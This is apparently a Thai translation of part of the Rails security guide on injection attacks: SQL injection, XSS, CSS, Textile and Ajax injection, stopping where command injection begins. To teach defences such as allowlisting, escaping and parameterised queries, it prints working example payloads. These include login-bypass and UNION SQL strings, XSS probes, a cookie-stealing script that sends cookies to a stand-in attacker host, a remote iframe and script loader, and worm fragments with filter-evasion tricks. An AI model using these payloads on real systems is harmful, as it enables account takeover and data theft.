ข้อมูล: การฉีดคือกลุ่มของการโจมตีที่นำเข้ารหัสที่เป็นอันตรายหรือพารามิเตอร์เข้าสู่แอปพลิเคชันเว็บเพื่อเรียกใช้ในบริบทความปลอดภัย ตัวอย่างที่โดดเด่นของการฉีดคือการฉีดสคริปต์ข้ามไซต์ (XSS) และการฉีด SQL การฉีดยาเป็นเรื่องที่ยากมาก เนื่องจากโค้ดหรือพารามิเตอร์เดียวกันอาจเป็นอันตรายในบางบริบท แต่จะไม่เป็นอันตรายเลยในบริบทอื่น บริบทอาจเป็นภาษาสคริปต์ คิวรี หรือภาษาโปรแกรม หรือเป็นเชลล์ หรือเป็นเมธอด Ruby/Rails ส่วนหัวข้อต่อไปนี้จะพูดถึงบริบทที่สำคัญที่สุดที่อาจเกิดการโจมตีด้วยการฉีดยา แต่หัวข้อแรกจะพูดถึงการตัดสินใจทางสถาปัตยกรรมที่เกี่ยวข้องกับการฉีดยา
6.1 รายการที่ได้รับอนุญาตกับรายการที่ถูกจำกัด
หมายเหตุ: เมื่อทำการทำความสะอาด การป้องกัน หรือการตรวจสอบสิ่งใดๆ ควรใช้รายการที่ได้รับอนุญาตแทนรายการที่ถูกจำกัด
รายการที่ถูกจำกัดอาจเป็นรายการของที่อยู่อีเมลที่ไม่ดี การกระทำที่ไม่เปิดเผยหรือแท็ก HTML ที่ไม่ดี นี่ตรงข้ามกับรายการที่ได้รับอนุญาตซึ่งรายการนี้ระบุที่อยู่อีเมลที่ดี การกระทำที่เปิดเผย แท็ก HTML ที่ดี และอื่นๆ แม้ว่าบางครั้งจะไม่สามารถสร้างรายการที่ได้รับอนุญาตได้ (ในกรองสแปมเช่น) ควรใช้วิธีการรายการที่ได้รับอนุญาต:
- ใช้
before_action except: [...]
แทนonly: [...]
สำหรับการกระทำที่เกี่ยวกับความปลอดภัย นี้จะช่วยให้คุณไม่ลืมเปิดใช้การตรวจสอบความปลอดภัยสำหรับการกระทำที่เพิ่มเข้ามาใหม่ - อนุญาตให้ใช้
<strong>
แทนการลบ<script>
เพื่อป้องกันการฉีดยา Cross-Site Scripting (XSS) ดูรายละเอียดด้านล่าง - อย่าพยายามแก้ไขข้อมูลที่ผู้ใช้ป้อนโดยใช้รายการที่ถูกจำกัด:
- นี่จะทำให้การโจมตีสามารถทำงานได้:
"<sc<script>ript>".gsub("<script>", "")
- แต่ควรปฏิเสธข้อมูลที่ไม่ถูกต้อง รายการที่ได้รับอนุญาตเป็นวิธีการที่ดีในการป้องกันปัจจัยของมนุษย์ที่ลืมสิ่งใดสิ่งหนึ่งในรายการที่ถูกจำกัด
- นี่จะทำให้การโจมตีสามารถทำงานได้:
6.2 การฉีด SQL
ข้อมูล: ด้วยวิธีที่ฉลาดมากนี้ ปัญหานี้เกือบไม่เป็นปัญหาในแอปพลิเคชัน Rails ส่วนใหญ่ อย่างไรก็ตาม การโจมตีแบบนี้เป็นการโจมตีที่ร้ายแรงและพบได้บ่อยในแอปพลิเคชันเว็บ ดังนั้น มันเป็นสิ่งสำคัญที่จะเข้าใจปัญหานี้
6.2.1 การแนะนำ
การโจมตีฉีด SQL เป้าหมายที่จะกระทำต่อคำสั่งฐานข้อมูลโดยการแก้ไขพารามิเตอร์ของแอปพลิเคชันเว็บ หนึ่งในเป้าหมายยอดนิยมของการโจมตีฉีด SQL คือการหลีกเลี่ยงการอนุญาต อีกเป้าหมายหนึ่งคือการดำเนินการแก้ไขข้อมูลหรืออ่านข้อมูลอย่างอิสระ ตัวอย่างด้านล่างเป็นตัวอย่างของวิธีการที่ไม่ควรใช้ข้อมูลที่ผู้ใช้ป้อนเข้าในคำสั่ง:
Project.where("name = '#{params[:name]}'")
นี่อาจอยู่ในการกระทำการค้นหาและผู้ใช้อาจป้อนชื่อโครงการที่ต้องการค้นหา หากผู้ใช้ที่มีเจตนาไม่ดีป้อน ' OR 1) --
คำสั่ง SQL ที่ได้จะเป็นดังนี้:
SELECT * FROM projects WHERE (name = '' OR 1) --')
ขีดคั่นสองขีดเริ่มต้นความคิดเป็นความเห็นที่ไม่สนใจทุกอย่างหลังจากนั้น ดังนั้นคำสั่งจะส่งคืนรายการทั้งหมดจากตารางโครงการรวมถึงรายการที่ผู้ใช้ไม่เห็น นี่เพราะเงื่อนไขเป็นจริงสำหรับรายการทั้งหมด
6.2.2 การหลีกเลี่ยงการอนุญาต
โดยทั่วไปแอปพลิเคชันเว็บรวมการควบคุมการเข้าถึง ผู้ใช้ป้อนข้อมูลการเข้าสู่ระบบของพวกเขาและแอปพลิเคชันเว็บพยายามค้นหารายการที่ตรงกันในตารางผู้ใช้ แอปพลิเคชันจะอนุญาตเมื่อพบรายการ อย่างไรก็ตาม ผู้โจมตีอาจสามารถหลีกเลี่ยงการตรวจสอบนี้ด้วยการฉีด SQL ต่อไปนี้เป็นตัวอย่างของคำสั่งฐานข้อมูลที่สามารถใช้ใน Rails เพื่อค้นหารายการแรกในตารางผู้ใช้ที่ตรงกับพารามิเตอร์ข้อมูลการเข้าสู่ระบบที่ผู้ใช้ส่งมา
ruby
User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'")
หากผู้โจมตีป้อน ' OR '1'='1
เป็นชื่อ และ ' OR '2'>'1
เป็นรหัสผ่าน คำสั่ง SQL ที่ได้จะเป็นดังนี้:
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
นี้จะเพียงแค่ค้นหาเร็คคอร์ดแรกในฐานข้อมูล และให้สิทธิ์การเข้าถึงให้กับผู้ใช้นี้
6.2.3 การอ่านโดยไม่ได้รับอนุญาต
คำสั่ง UNION เชื่อมต่อสองคำสั่ง SQL และส่งคืนข้อมูลในชุดเดียว ผู้โจมตีสามารถใช้คำสั่งนี้เพื่ออ่านข้อมูลที่สมมติจากฐานข้อมูล มาดูตัวอย่างจากตัวอย่างด้านบน:
Project.where("name = '#{params[:name]}'")
และตอนนี้เราจะฉีกข้อมูลอื่นๆ โดยใช้คำสั่ง UNION:
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
นี้จะทำให้คำสั่ง SQL เป็นดังนี้:
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
ผลลัพธ์จะไม่ใช่รายการโปรเจกต์ (เนื่องจากไม่มีโปรเจกต์ที่มีชื่อว่าว่างเปล่า) แต่เป็นรายชื่อผู้ใช้และรหัสผ่านของพวกเขา ดังนั้นหวังว่าคุณได้ เข้ารหัสรหัสผ่านอย่างปลอดภัย ในฐานข้อมูล! ปัญหาเดียวสำหรับผู้โจมตีคือจำนวนคอลัมน์ต้องเหมือนกันในทั้งสองคำสั่ง ดังนั้นคำสั่งที่สองรวมถึงรายการหนึ่ง (1) ซึ่งจะเป็นค่า 1 เสมอ เพื่อจับคู่กับจำนวนคอลัมน์ในคำสั่งแรก นอกจากนี้ คิวรีที่สองจะเปลี่ยนชื่อคอลัมน์ด้วยคำสั่ง AS เพื่อให้แอปพลิเคชันเว็บแสดงค่าจากตารางผู้ใช้ โปรดอัปเดต Rails ของคุณ อย่างน้อย 2.1.1
6.2.4 มาตรการป้องกัน
Ruby on Rails มีตัวกรองที่ซ่อนอักขระพิเศษใน SQL ที่จะหนี '
, "
, อักขระ NULL, และการเปลี่ยนบรรทัด การใช้ Model.find(id)
หรือ Model.find_by_something(something)
จะใช้มาตรการป้องกันนี้โดยอัตโนมัติ แต่ใน SQL fragments โดยเฉพาะ ในเงื่อนไข fragments (where("...")
), วิธี connection.execute()
หรือ Model.find_by_sql()
จะต้องใช้มาตรการป้องกันนี้ด้วยตนเอง
แทนที่จะส่งสตริง คุณสามารถใช้ตัวจัดการตำแหน่งเพื่อทำความสะอาดสตริงที่เป็นอันตรายได้เช่นนี้:
Model.where("zip_code = ? AND quantity >= ?", entered_zip_code, entered_quantity).first
พารามิเตอร์แรกคือ SQL fragments ที่มีเครื่องหมายคำถาม พารามิเตอร์ที่สองและที่สามจะแทนที่เครื่องหมายคำถามด้วยค่าของตัวแปร
คุณยังสามารถใช้ตัวจัดการชื่อ ค่าจะถูกเอามาจากแฮชที่ใช้:
values = { zip: entered_zip_code, qty: entered_quantity }
Model.where("zip_code = :zip AND quantity >= :qty", values).first
นอกจากนี้คุณยังสามารถแยกและเชื่อมต่อเงื่อนไขที่ถูกต้องสำหรับกรณีการใช้งานของคุณ:
Model.where(zip_code: entered_zip_code).where("quantity >= ?", entered_quantity).first
โปรดทราบว่ามาตรการป้องกันที่กล่าวถึงก่อนหน้านี้มีให้ใช้เฉพาะในตัวอย่างของโมเดลเท่านั้น คุณสามารถลองใช้ sanitize_sql
ในสถานที่อื่น ให้เป็นนิสัยในการคิดถึงผลกระทบทางด้านความปลอดภัยเมื่อใช้สตริงภายนอกใน SQL
6.3 Cross-Site Scripting (XSS)
ข้อมูล: ช่องโหว่ความปลอดภัยที่แพร่หลายที่สุดและที่ร้ายแรงที่สุดในแอปพลิเคชันเว็บคือ XSS การโจมตีที่เป็นอันตรายนี้ฉีดเข้ารหัสที่สามารถทำงานได้ที่ฝั่งไคลเอนต์ รายละเอียดเพิ่มเติมเกี่ยวกับวิธีการป้องกันการโจมตีเหล่านี้จะถูกให้ไว้ในเมธอดช่วยเหลือของ Rails.
6.3.1 จุดเข้าสู่ระบบ
จุดเข้าสู่ระบบคือ URL ที่มีช่องโหว่และพารามิเตอร์ของมันที่ผู้โจมตีสามารถเริ่มโจมตีได้
จุดเข้าสู่ระบบที่พบบ่อยที่สุดคือการโพสต์ข้อความ ความคิดเห็นของผู้ใช้ และสมุดเยี่ยมชม แต่ชื่อโครงการ ชื่อเอกสาร และหน้าผลการค้นหาก็เป็นจุดเข้าสู่ระบบที่มีช่องโหว่ได้ - ทุกที่ที่ผู้ใช้สามารถป้อนข้อมูลได้ แต่ข้อมูลที่ป้อนไม่จำเป็นต้องมาจากกล่องข้อความบนเว็บไซต์ มันสามารถอยู่ในพารามิเตอร์ URL ใด ๆ - ที่เป็นที่เห็น ที่ซ่อนหรือภายใน โปรดจำไว้ว่าผู้ใช้สามารถดักจับการส่งข้อมูลได้ทุกครั้ง แอปพลิเคชันหรือพร็อกซีซิต์ฝั่งไคลเอนต์ทำให้ง่ายต่อการเปลี่ยนแปลงคำขอ ยังมีเวกเตอร์โจมตีอื่น ๆ เช่นโฆษณาแบนเนอร์
การโจมตี XSS ทำงานดังนี้: ผู้โจมตีฉีดเข้ารหัสบางส่วน แอปพลิเคชันเว็บบันทึกข้อมูลนั้นและแสดงข้อมูลนั้นบนหน้าเว็บที่นำเสนอให้กับเหยื่อในภายหลัง ตัวอย่าง XSS มากที่สุดแค่แสดงกล่องแจ้งเตือน แต่มันมีความสามารถมากกว่านั้น XSS สามารถขโมยคุกกี้ ยึดครองเซสชั่น เปลี่ยนเส้นทางของเหยื่อไปยังเว็บไซต์ปลอม แสดงโฆษณาเพื่อประโยชน์ของผู้โจมตี เปลี่ยนองค์ประกอบบนเว็บไซต์เพื่อรับข้อมูลลับหรือติดตั้งซอฟต์แวร์ที่เป็นอันตรายผ่านช่องโหว่ในเบราว์เซอร์เว็บ_ ในช่วงครึ่งหลังของปี 2007 มีช่องโหว่ที่รายงานในเบราว์เซอร์ Mozilla จำนวน 88 รายการ ใน Safari จำนวน 22 รายการ ใน IE จำนวน 18 รายการ และใน Opera จำนวน 12 รายการ รายงานเกี่ยวกับความเสี่ยงด้านความปลอดภัยในอินเทอร์เน็ตทั่วโลกของ Symantec ยังระบุว่ามีช่องโหว่ในปลั๊กอินของเบราว์เซอร์จำนวน 239 รายการในช่วง 6 เดือนสุดท้ายของปี 2007 Mpack เป็นเฟรมเวิร์กที่มีการโจมตีที่มีความทันสมัยและมีความเสี่ยงที่ใช้ช่องโหว่เหล่านี้ สำหรับผู้แฮกเกอร์ที่มีความละเอียดอ่อน การใช้ช่องโหว่ SQL-Injection ในเฟรมเวิร์กแอปพลิเคชันเว็บและแทรกโค้ดที่เป็นอันตรายในคอลัมน์ของตารางข้อความทุกคอลัมน์ เมื่อถึงเดือนเมษายน 2008 มีเว็บไซต์มากกว่า 510,000 เว็บไซต์ที่ถูกแฮกเช่นนี้ รวมถึงรัฐบาลอังกฤษ สหประชาชาติ และเป้าหมายที่มีชื่อเสียงอื่น ๆ
6.3.2 การแทรก HTML/JavaScript
ภาษา XSS ที่พบบ่อยที่สุดคือภาษาสคริปต์ฝั่งไคลเอ็นต์ยอดนิยมอย่าง JavaScript ซึ่งบ่อยครั้งใช้ร่วมกับ HTML การหลีกเลี่ยงการป้อนข้อมูลของผู้ใช้เป็นสิ่งสำคัญ
นี่คือการทดสอบที่ง่ายที่สุดในการตรวจสอบ XSS:
<script>alert('Hello');</script>
โค้ด JavaScript นี้จะแสดงกล่องแจ้งเตือนเพียงอย่างเดียว ตัวอย่างถัดไปทำเหมือนกันแต่อยู่ในสถานที่ที่ไม่ธรรมดามาก:
<img src="javascript:alert('Hello')">
<table background="javascript:alert('Hello')">
6.3.2.1 การขโมยคุกกี้
ตัวอย่างเหล่านี้ยังไม่ก่อให้เกิดความเสียหายใด ๆ ดังนั้นเรามาดูว่าผู้โจมตีจะสามารถขโมยคุกกี้ของผู้ใช้ (และจัดการเซสชันของผู้ใช้) ได้อย่างไร ใน JavaScript คุณสามารถใช้คุณสมบัติ document.cookie
เพื่ออ่านและเขียนคุกกี้ของเอกสาร ภาษา JavaScript บังคับใช้นโยบายเดียวกันเรื่องต้นทางเดียวกัน ซึ่งหมายความว่าสคริปต์จากโดเมนหนึ่งไม่สามารถเข้าถึงคุกกี้ของโดเมนอื่นได้ คุณสมบัติ document.cookie
เก็บคุกกี้ของเว็บเซิร์ฟเวอร์ต้นทาง อย่างไรก็ตามคุณสามารถอ่านและเขียนคุณสมบัตินี้ได้หากคุณฝังโค้ดโดยตรงในเอกสาร HTML (เช่นในกรณีของ XSS) แทรกส่วนนี้ในแอปพลิเคชันเว็บของคุณที่ใดก็ได้เพื่อดูคุกกี้ของคุณเองในหน้าผลลัพธ์:
html
<script>document.write(document.cookie);</script>
สำหรับผู้โจมตีนั่นเป็นสิ่งที่ไม่มีประโยชน์ เนื่องจากเหยื่อจะเห็นคุกกี้ของตนเอง ตัวอย่างถัดไปจะพยายามโหลดรูปภาพจาก URL http://www.attacker.com/ ร่วมกับคุกกี้ แน่นอนว่า URL นี้ไม่มีอยู่จริง ดังนั้นเบราว์เซอร์จะไม่แสดงอะไร แต่ผู้โจมตีสามารถตรวจสอบไฟล์บันทึกการเข้าถึงของเซิร์ฟเวอร์เว็บของตนเพื่อดูคุกกี้ของเหยื่อ
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
ไฟล์บันทึกการเข้าถึงบน www.attacker.com จะอ่านดังนี้:
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
คุกกี้ที่มีค่าเหล่านี้สามารถลดความเสี่ยงจากการโจมตีเหล่านี้ได้ (ในทางที่ชัดเจน) โดยเพิ่มตัวแปร httpOnly ในคุกกี้ เพื่อให้ document.cookie
ไม่สามารถอ่านได้โดย JavaScript คุกกี้ที่ใช้ HTTP only สามารถใช้ได้ใน IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, และ Chrome 1.0.154 เป็นต้นไป แต่เบราว์เซอร์ที่เก่ากว่า (เช่น WebTV และ IE 5.5 บน Mac) อาจทำให้หน้าเว็บไม่สามารถโหลดได้ โปรดทราบว่าคุกกี้ ยังคงมองเห็นได้ผ่าน Ajax อยู่ดี
6.3.2.2 การเปลี่ยนแปลงหน้าเว็บ
ด้วยการเปลี่ยนแปลงหน้าเว็บผู้โจมตีสามารถทำอะไรก็ได้ เช่น นำเสนอข้อมูลเท็จหรือล่อเหยื่อไปยังเว็บไซต์ของผู้โจมตีเพื่อขโมยคุกกี้ ข้อมูลการเข้าสู่ระบบ หรือข้อมูลที่ละเอียดอ่อนอย่างอื่น วิธีที่ได้รับความนิยมที่สุดคือการรวมรหัสจากแหล่งที่มาภายนอกโดยใช้ iframe:
html
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
การโหลด HTML และ/หรือ JavaScript จากแหล่งที่มาภายนอกและฝังเข้ากับเว็บไซต์ ตัวอย่าง iframe
นี้มาจากการโจมตีจริงบนเว็บไซต์อิตาลีที่ถูกโจมตีโดยใช้เฟรมเวิร์ก Mpack attack framework (https://isc.sans.edu/diary/MPack+Analysis/3015) Mpack พยายามติดตั้งซอฟต์แวร์ที่เป็นอันตรายผ่านช่องโหว่ในเบราว์เซอร์เว็บ - สำเร็จอย่างสมบูรณ์ 50% ของการโจมตีสำเร็จ
การโจมตีที่เฉพาะเจาะจงมากขึ้นอาจทับซ้อนกับเว็บไซต์ทั้งหมดหรือแสดงแบบฟอร์มเข้าสู่ระบบที่ดูเหมือนกับเว็บไซต์ต้นฉบับ แต่ส่งข้อมูลชื่อผู้ใช้และรหัสผ่านไปยังเว็บไซต์ของผู้โจมตี หรืออาจใช้ CSS และ/หรือ JavaScript เพื่อซ่อนลิงก์ที่ถูกต้องในแอปพลิเคชันเว็บ และแสดงลิงก์อื่นที่อยู่ในตำแหน่งเดียวกันซึ่งเปลี่ยนเส้นทางไปยังเว็บไซต์ปลอม
การโจมตีแบบสะท้อนเป็นการโจมตีที่เป็นไปได้ที่โหลดข้อมูลไม่ได้เก็บไว้เพื่อนำไปแสดงให้เห็นกับเหยื่อในภายหลัง แต่รวมอยู่ใน URL โดยเฉพาะแบบฟอร์มการค้นหาที่ล้มเหลวในการหนี้ค้นหา ลิงก์ต่อไปนี้แสดงหน้าเว็บที่ระบุว่า "George Bush ได้แต่งตั้งเด็กชายอายุ 9 ปีให้เป็นประธาน..." :
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
6.3.2.3 มาตรการป้องกัน
การกรองข้อมูลที่เป็นอันตรายเป็นสิ่งสำคัญมาก แต่การหนี้ค้นหาของแอปพลิเคชันเว็บก็เป็นสิ่งสำคัญในการหลีกเลี่ยงปัญหา เป็นสิ่งสำคัญที่สุดสำหรับ XSS ที่จะต้องทำการกรองข้อมูลที่อนุญาตแทนที่จะจำกัด กรองข้อมูลที่อนุญาตระบุค่าที่อนุญาตให้ใช้งานแทนค่าที่ไม่อนุญาตให้ใช้งาน รายการที่จำกัดไม่สมบูรณ์
สมมติว่ารายการที่จำกัดลบ "script"
ออกจากข้อมูลที่ผู้ใช้ป้อน ตอนนี้ผู้โจมตีฉีด " <scrscriptipt> "
และหลังจากกรองข้อมูล "<script>"
ยังคงอยู่ รุ่นก่อนหน้าของ Rails ใช้วิธีการจำกัดรายการสำหรับ strip_tags()
strip_links()
และ sanitize()
ดังนั้นการฉีดข้อมูลแบบนี้เป็นไปได้:
strip_tags("some<<b>script>alert('hello')<</b>/script>")
ผลลัพธ์คือ "some<script>alert('hello')</script>"
ซึ่งทำให้การโจมตีเกิดขึ้น นั่นเป็นเหตุผลที่วิธีการกรองข้อมูลแบบอนุญาตเป็นวิธีที่ดีกว่า โดยใช้วิธีการ sanitize()
ของ Rails รุ่น 2 ที่อัปเดต:
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
สิ่งนี้อนุญาตเฉพาะแท็กที่กำหนดและทำงานได้ดี แม้จะเผชิญกับเทคนิคและแท็กที่ไม่ถูกต้อง
เป็นขั้นตอนที่สอง การปฏิบัติที่ดีคือการหนีบันทึกผลลัพธ์ทั้งหมดของแอปพลิเคชัน โดยเฉพาะเมื่อแสดงผลข้อมูลที่ผู้ใช้ป้อนเพิ่มเติมที่ไม่ได้รับการกรองข้อมูล (เช่นตัวอย่างแบบฟอร์มค้นหาที่กล่าวมาก่อนหน้านี้) _ใช้วิธี html_escape()
(หรือตัวย่อ h()
) เพื่อแทนที่ตัวอักษรข้อมูลเข้า HTML &
, "
, <
, และ >
ด้วยรูปแบบที่ไม่ได้รับการแปลงใน HTML (&
, "
, <
, และ >
)
6.3.2.4 การซ่อนและการซ่อนรหัส
การสื่อสารผ่านเครือข่ายมักจะใช้ตัวอักษรภาษาตะวันตกจำกัด ดังนั้นการเข้ารหัสตัวอักษรใหม่ เช่น Unicode จึงเกิดขึ้นเพื่อส่งตัวอักษรในภาษาอื่น แต่นี่ก็เป็นอันตรายต่อแอปพลิเคชันเว็บ เนื่องจากโค้ดที่เป็นอันตรายอาจถูกซ่อนอยู่ในการเข้ารหัสที่แตกต่างกันซึ่งเบราว์เซอร์เว็บอาจสามารถประมวลผลได้ แต่แอปพลิเคชันเว็บอาจไม่สามารถประมวลผลได้ นี่คือเวกเตอร์การโจมตีในการเข้ารหัส UTF-8:
<img src=javascript:a
lert('XSS')>
ตัวอย่างนี้จะปรากฏกล่องข้อความ แต่จะถูกรู้จักโดยตัวกรอง sanitize()
ด้านบน เครื่องมือที่ยอดเยี่ยมในการซ่อนและเข้ารหัสสตริง และดังนั้น "รู้จักศัตรูของคุณ" คือ Hackvertor วิธี sanitize()
ของ Rails ทำงานได้ดีในการป้องกันการโจมตีการเข้ารหัส
6.3.3 ตัวอย่างจากใต้ดิน
เพื่อเข้าใจการโจมตีต่อแอปพลิเคชันเว็บในปัจจุบัน ควรดูตัวอย่างเวกเตอร์การโจมตีในโลกจริง
ต่อไปนี้คือตัวอย่างจาก Js.Yamanner@m Yahoo! Mail worm ซึ่งปรากฏเมื่อวันที่ 11 มิถุนายน พ.ศ. 2549 และเป็นเวิร์มอีเมลแอปพลิเคชันเว็บครั้งแรก:
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
เชื้อรานี้ใช้ช่องโหว่ในตัวกรอง HTML/JavaScript ของ Yahoo ซึ่งตัวกรองนี้มักกรองเป้าหมายและคุณสมบัติ onload จากแท็ก (เนื่องจากอาจมี JavaScript) แต่ตัวกรองถูกใช้งานเพียงครั้งเดียว ดังนั้นคุณสมบัติ onload ที่มีโค้ดเชื้อรายังคงอยู่ นี่เป็นตัวอย่างที่ดีว่าทำไมตัวกรองรายการที่ถูกจำกัดไม่เคร่งครัดและทำไมมันยากที่จะอนุญาตให้ HTML/JavaScript เข้าถึงในแอปพลิเคชันเว็บ หนึ่งในการพิสูจน์แนวคิดของเว็บเมลล์แบบ Proof-of-Concept คือ Nduja ซึ่งเป็นเชื้อราแบบครอสโดเมนสำหรับบริการเว็บเมลล์สี่รายในประเทศอิตาลี ค้นหารายละเอียดเพิ่มเติมได้ที่ บทความของ Rosario Valotta ทั้งสองเชื้อราเว็บเมลล์มีเป้าหมายในการเก็บที่อยู่อีเมลล์ เป็นสิ่งที่ผู้แฮกเกอร์อาชญากรรมสามารถหาเงินได้
ในธันวาคม พ.ศ. 2549 มีการโจมตีฟิชชิ่ง MySpace ที่ขโมยชื่อผู้ใช้และรหัสผ่านจริง ๆ จำนวน 34,000 รายใน MySpace phishing attack แนวคิดของการโจมตีคือสร้างหน้าโปรไฟล์ที่ชื่อว่า "login_home_index_html" เพื่อให้ URL ดูน่าเชื่อถือมาก ๆ ใช้ HTML และ CSS ที่ถูกสร้างเฉพาะเพื่อซ่อนเนื้อหา MySpace จริง ๆ จากหน้าเว็บและแสดงแบบฟอร์มเข้าสู่ระบบของตัวเอง
6.4 การฉีด CSS
ข้อมูล: การฉีด CSS จริง ๆ เป็นการฉีด JavaScript เพราะบางเบราว์เซอร์ (IE, บางเวอร์ชันของ Safari และอื่น ๆ) อนุญาตให้ใช้ JavaScript ใน CSS คิดให้ดีสองครั้งก่อนที่จะอนุญาตให้ใช้ CSS ที่กำหนดเองในแอปพลิเคชันเว็บของคุณ
การฉีด CSS อธิบายได้ดีที่สุดโดย เชื้อรา MySpace Samy นี้ ซึ่งเชื้อรานี้ส่งคำขอเป็นเพื่อนโดยอัตโนมัติไปยัง Samy (ผู้โจมตี) โดยเพียงแค่เข้าชมโปรไฟล์ของเขา ภายในไม่กี่ชั่วโมงเขาได้รับคำขอเป็นเพื่อนมากกว่า 1 ล้านคำขอ ซึ่งสร้างการจราจรมากขนาดที่ MySpace ต้องปิดให้บริการชั่วคราว ต่อไปนี้คือการอธิบายทางเทคนิคของเชื้อรานั้น
html
<div style="background:url('javascript:alert(1)')">
ดังนั้น payload อยู่ใน attribute style แต่ไม่อนุญาตให้ใช้เครื่องหมายคำพูดเพราะใช้เครื่องหมายคำพูดแบบเดียวกันแล้ว แต่ JavaScript มีฟังก์ชัน eval()
ที่มีประโยชน์ซึ่งจะประมวลผลสตริงใดๆ เป็นโค้ด
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
ฟังก์ชัน eval()
เป็นสิ่งที่น่ากลัวสำหรับตัวกรองข้อมูลที่ถูกจำกัด เนื่องจากมันอนุญาตให้ attribute style ซ่อนคำว่า "innerHTML":
alert(eval('document.body.inne' + 'rHTML'));
ปัญหาถัดไปคือ MySpace กรองคำว่า "javascript"
ดังนั้นผู้เขียนใช้ "java<NEWLINE>script"
เพื่อหลีกเลี่ยงปัญหานี้:
<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
ปัญหาอื่นสำหรับผู้เขียนของ worm คือ CSRF security tokens โดยไม่มี CSRF token เขาจึงไม่สามารถส่ง friend request ผ่าน POST ได้ เขาแก้ไขโดยส่ง GET ไปยังหน้าเว็บก่อนที่จะเพิ่มผู้ใช้และแยกวิเคราะห์ผลลัพธ์เพื่อหา CSRF token
ในที่สุดเขาได้ worm ขนาด 4 KB ซึ่งเขาฉีกเข้าไปในหน้าโปรไฟล์ของเขา
คุณสมบัติ moz-binding ใน CSS เป็นวิธีอื่นในการนำเข้า JavaScript ใน CSS ในเบราว์เซอร์ที่ใช้ Gecko (เช่น Firefox)
6.4.1 การป้องกัน
ตัวอย่างนี้อีกครั้งแสดงให้เห็นว่าตัวกรองรายการที่ถูกจำกัดไม่เคร่งครัด อย่างไรก็ตาม เนื่องจาก CSS ที่กำหนดเองในแอปพลิเคชันเว็บนั้นเป็นคุณสมบัติที่น้อยมาก อาจจะยากที่จะหาตัวกรอง CSS ที่อนุญาตได้ดี หากคุณต้องการอนุญาตให้ผู้ใช้เลือกสีหรือรูปภาพที่กำหนดเอง คุณสามารถอนุญาตให้ผู้ใช้เลือกและสร้าง CSS ในแอปพลิเคชันเว็บ ใช้เมธอด sanitize()
ของ Rails เป็นแบบอย่างสำหรับตัวกรอง CSS ที่อนุญาตได้ หากคุณจริงๆ ต้องการ
6.5 การฉีด Textile
หากคุณต้องการให้มีการจัดรูปแบบข้อความที่ไม่ใช่ HTML (เนื่องจากปัญหาความปลอดภัย) ให้ใช้ภาษามาร์กอัปภาพที่แปลงเป็น HTML ที่ด้านเซิร์ฟเวอร์ได้ เช่น RedCloth เป็นภาษาที่ใช้สำหรับ Ruby แต่โดยไม่มีการป้องกัน จึงเสี่ยงต่อ XSS
ตัวอย่างเช่น RedCloth แปลง _test_
เป็น <em>test<em>
ซึ่งทำให้ข้อความเป็นตัวเอียง อย่างไรก็ตาม ในเวอร์ชันปัจจุบัน 3.0.4 ยังคงเป็นที่เสี่ยงต่อ XSS ดาวน์โหลด เวอร์ชันใหม่ทั้งหมด 4 เพื่อแก้ไขข้อบกพร่องที่ร้ายแรง อย่างไรก็ตาม แม้ว่าเวอร์ชันนั้นจะมี บั๊กด้านความปลอดภัยบางอย่าง การป้องกันยังคงใช้งานได้ ตัวอย่างเช่นสำหรับเวอร์ชัน 3.0.4:
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
ใช้ตัวเลือก :filter_html
เพื่อลบ HTML ที่ไม่ได้สร้างโดยตัวประมวลผล Textile
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"
อย่างไรก็ตาม การกรอง HTML นี้ไม่สามารถกรองทั้งหมดได้ จะเหลือบางแท็ก (ตามที่ออกแบบไว้) เช่น <a>
:
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
6.5.1 มาตรการป้องกัน
แนะนำให้ ใช้ RedCloth ร่วมกับตัวกรองข้อมูลที่ได้รับอนุญาต ตามที่อธิบายในส่วนการป้องกัน XSS
6.6 การฉีด Ajax
หมายเหตุ: ต้องมีการปฏิบัติตามมาตรการความปลอดภัยเดียวกันสำหรับการดำเนินการ Ajax เช่นเดียวกับการดำเนินการ "ปกติ" อย่างไรก็ตาม มีข้อยกเว้นอย่างน้อยหนึ่งข้อ: การแสดงผลต้องถูกหนี้สินในตัวควบคุมแล้ว หากการดำเนินการไม่แสดงผลมุมมอง
หากคุณใช้ปลั๊กอิน in_place_editor หรือการกระทำที่ส่งคืนสตริงแทนการเรนเดอร์วิว คุณต้องหนีค่าที่ส่งคืนในการกระทำ มิฉะนั้น หากค่าที่ส่งคืนมีสตริง XSS รหัสที่เป็นอันตรายจะถูกดำเนินการเมื่อส่งคืนไปยังเบราว์เซอร์ หนีค่าอินพุตใด ๆ โดยใช้วิธี h()
6.7 การฉีดคำสั่งผ่าน Command Line
หมายเหตุ: ใช้พารามิเตอร์คำสั่งจากผู้ใช้อย่างระมัดระวัง
หากแอปพลิเคชันของคุณต้องดำเนินการคำสั่งในระบบปฏิบัติการใต้หลังคา มีหลายวิธีใน Ruby: system(command)
, exec(command)
, spawn(command)
และ `command`
